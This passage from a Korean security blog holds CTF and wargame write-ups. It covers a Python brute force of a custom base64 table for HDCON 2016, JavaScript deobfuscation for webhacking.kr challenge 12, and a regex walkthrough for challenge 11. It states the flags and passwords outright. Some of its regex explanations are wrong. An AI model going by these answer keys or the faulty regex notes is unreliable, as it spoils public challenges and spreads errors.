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"
xx = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
 
for arg9 in range(512):
    new = ""
    for i in range(len(v1)):
        if v1[i] == "=":
            new += "="
            break
        new += table[arg9 * 2 * 2 * 2 * 2 * 2 * 2: arg9 * 2 * 2 * 2 * 2 * 2 * 2 + 64][xx.find(v1[i])]
 
    if False not in ([(char in string.printable) for char in new.decode('base64')]):
        print arg9, new.decode('base64')


정답은 arg9가 320일 때의 You win! 2016 HDCON! 이다.



오늘 2016 HDCON 역공학 OpenCTF를 1등해서 3등까지 주는 블루투스 키보드를 받았다.

내가 1등을 할 수 있었던 이유는 참가자가 나 혼자였기 때문이다.

잘하시는 분들이 푸셨으면 분석 속도부터 차이가 났을텐데...

만세!



'Write-ups' 카테고리의 다른 글

2016 HDCON 역공학 OpenCTF  (1) 2016.11.14
  1. Orca 2016.11.15 00:02

    ㅋㅋㅋㅋㅋ 주모! 여기 국가대표 단! 하나!

12번 문제를 접속하면 javascript challenge라고 나온다.




요런 문제는 HTML 소스보기 + javascript console을 사용하면 아주 쉽게 풀 수 있다.




우선 HTML 소스보기를 해주자!



역시 javascript가 난독화 되어 있을 줄 알았다.


이정도 난독화는 아주 간단한 편이다.


대부분 이런 문제의 경우 eval로 코드를 실행 해준다.


자바스크립트 콘솔을 열어 eval 함수를 cosole.log 함수로 바꿔주면 아래와 같이 복호화 된 javascript 코드를 확인 할 수 있다.



이제 소스코드를 분석하기만 하면 된다.


Password가 출력되는 조건을 보면 ck랑 특정 더한 값이 같을 때 Password가 ck 값에서 =을 뺀 것이라고 알려주고 있다.


따라서 javascript 콘솔창에 아래와 같이 ck랑 비교하는 값을 넣어보자.




"=youaregod~~~~~~~!"라는 문자열이 나왔다.


즉 Password는 =을 뺀 "youaregod~~~~~~~!" 가 된다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12

webhacking.kr Challenge11 문제를 풀다가 php의 'preg_match' 함수를 만나게 되었다.

해당 문제에서는 정규식표현에 쓰이는 특수문자들이 있었다.

처음에는 특수문자가 왜 쓰이는지 알 수 없었고 곧 구글링을 통해 정규표현식임을 알 수 있었다.



webhacking.kr Challenge 11 write up!

if(preg_match($pat,$val)) { echo("Password is ????"); }

$pat="/[1-3][a-f]{5}_.*165.128.238.19.*\tp\ta\ts\ts/";

$pat을 나눠서 해석해보자

[1-3] : (1, 2, 3) 중에서 아무 숫자 하나 = 1

[a-f] : (a, b, c, d, e, f) 중에서 아무 문자 하나 = 1a

{5} : 앞에 나온 문자가 5번 나와야함 = 1aaaaa

_ : 정규표현식에 쓰이는 특수문자가 아님 = 1aaaaa_

.* : '.'는 어떤 문자 하나, '*'는 앞의 문자가 안나오거나 하나. 따라서 어떤문자를 안써줘도 된다 = 1aaaaa_

165 : 숫자이므로 그대로 작성 =  1aaaaa_165

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a

128 : 숫자이므로 그대로 작성 =  1aaaaa_165a128

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a128a

238 : 숫자이므로 그대로 작성 =  1aaaaa_165a128a238

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a128a238a

19 : 숫자이므로 그대로 작성 =  1aaaaa_165a128a238a19

.* : 위와 같이 어떤 문자를 안써줘도 된다 = 1aaaaa_165a128a238a19

\t : Tap = <1aaaaa_165a128a238a19    > (Tap을 보여주기위해 <>안에 넣음)

p : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p

\t : Tap = <1aaaaa_165a128a238a19    p    > (Tap을 보여주기위해 <>안에 넣음)

a : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    a

\t : Tap = <1aaaaa_165a128a238a19    p    a    > (Tap을 보여주기위해 <>안에 넣음)

s : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    p    s

\t : Tap = <1aaaaa_165a128a238a19    p    a    s    > (Tap을 보여주기위해 <>안에 넣음)

s : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    a    s    s


따라서 $val = "1aaaaa_165a128a238a19 p a s s"; 일때 인증키를 얻을 수 있다.



정규표현식(regular expression)이란? :

- 특정한 규칙을 가진 문자열의 집합을 표한하는데 사용하는 형식언어.

- 정해진 패턴을 사용해서 패턴에 일치하는 데이터 검색을 지워하는 표현식.



정규표현식의 문법 :

1. '.' : 임의의 한문자

ex)

c.s = cjs, cas, cbs, cds, ces, ...

.js = cjs, ajs, bjs, djs, fjs, ...


2. '*' : 바로 앞의 문자가 없거나 하나 이상(즉 0개 이상을 포함)

ex)

c*s = s, cs, css, ccs, cccs, ...

abc* = ab, abc, abcc, abccc, abcccc, ...

ka*b = kb, kab, kaab, kaaab, kaaaab, ...


3. '+' : 바로 앞의 문자가 하나 이상(즉 1개 이상을 포함)

ex)

j+s = js, jjs, jjjs, jjjjs, jjjjjs, ...

abc+ = abc, abcc, abccc, abcccc, abccccc, ...


4. '?' : q바로 앞의 문자가 없가나 하나(즉 1개 또는 0개 이상을 포함)

ex)

cj?s = s, cjs (두가지 표현이 유일)

c?at = at, cat (두가지 표현이 유일)


5. '^' : 바로 뒤의 문자열로 시작

ex)

^This = This is my Book, Thisead, ...

^a?bc = bc, abc, ...

^.e = he, me, request, settle, ...

^s.e? = sa, sae, sb, sbe (e는 있어도 되고 없어도 되고)


6. '$' : 바로 앞의 문자열로 종료

ex)

a?bc$ = eeabe, seebc, bc, ...

+.e$ = onthetoe, hctae, appetitlle, ...

s?c+$ = e, se, ee, eee, seee, seeee, ...


7. '[]' : [] 안에 있는 문자 중 하나, 범위는 '-'로 지정

ex)

[ab]cd = acd, bcd, ...

[a-z] = a부터 z까지

[a-zA-Z] = 대소문자 모두 a부터 z까지

[0-9] = 0부터 9까지

ag[a-z] = aga, agbcd, agzzz, ...

^ab[cd]ef = abcef, abdef, ...

^[a-zA-Z] = 영문자로 시작

^[a-zA-Z_] = 첫글자가 영어 대소문자와 '_' 만 사용 가능

^[가-힣]  =  한글로 시작

[^a-zA-Z0-9]  =  ^은 안으로 들어가면 제외(부정)의 의미가 된다. 영어 대소문자나 숫자로 시작 불가

[a-zA-Z0-9]$ = 영어 대소문자나 숫자로 종료


8. '{}' : 앞의 문자나 문자열 출현 횟수

ex)

a{2}b = aab, ... (a가 반드시 2번 나와야함)

a{2,}b = aab, aaab, aaaab, ... (a가 최소한 2번 이상 나와야함)

a{2, 4}b = aab, aaab, aaab, ... (a가 최소 2번 최대 4번 나와야함)


9: '()' : ()안에 있는 문자를 그룹화

ex)

a(bc){2} = abcbc (a다음으로 bc가 2번 나와야함)

a(bc)* = abcbcbc (a다음에 bc는 무제한으로 나올수 있음)


10. '|' : or 연산자

ex)

he|she = he is, she is


Reference

: http://ko.wikipedia.org/wiki/정규_표현식

: http://www.devholic.net/1000238


PS. 사실 2014.08.02에 작성했던 글이다.



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11

+ Recent posts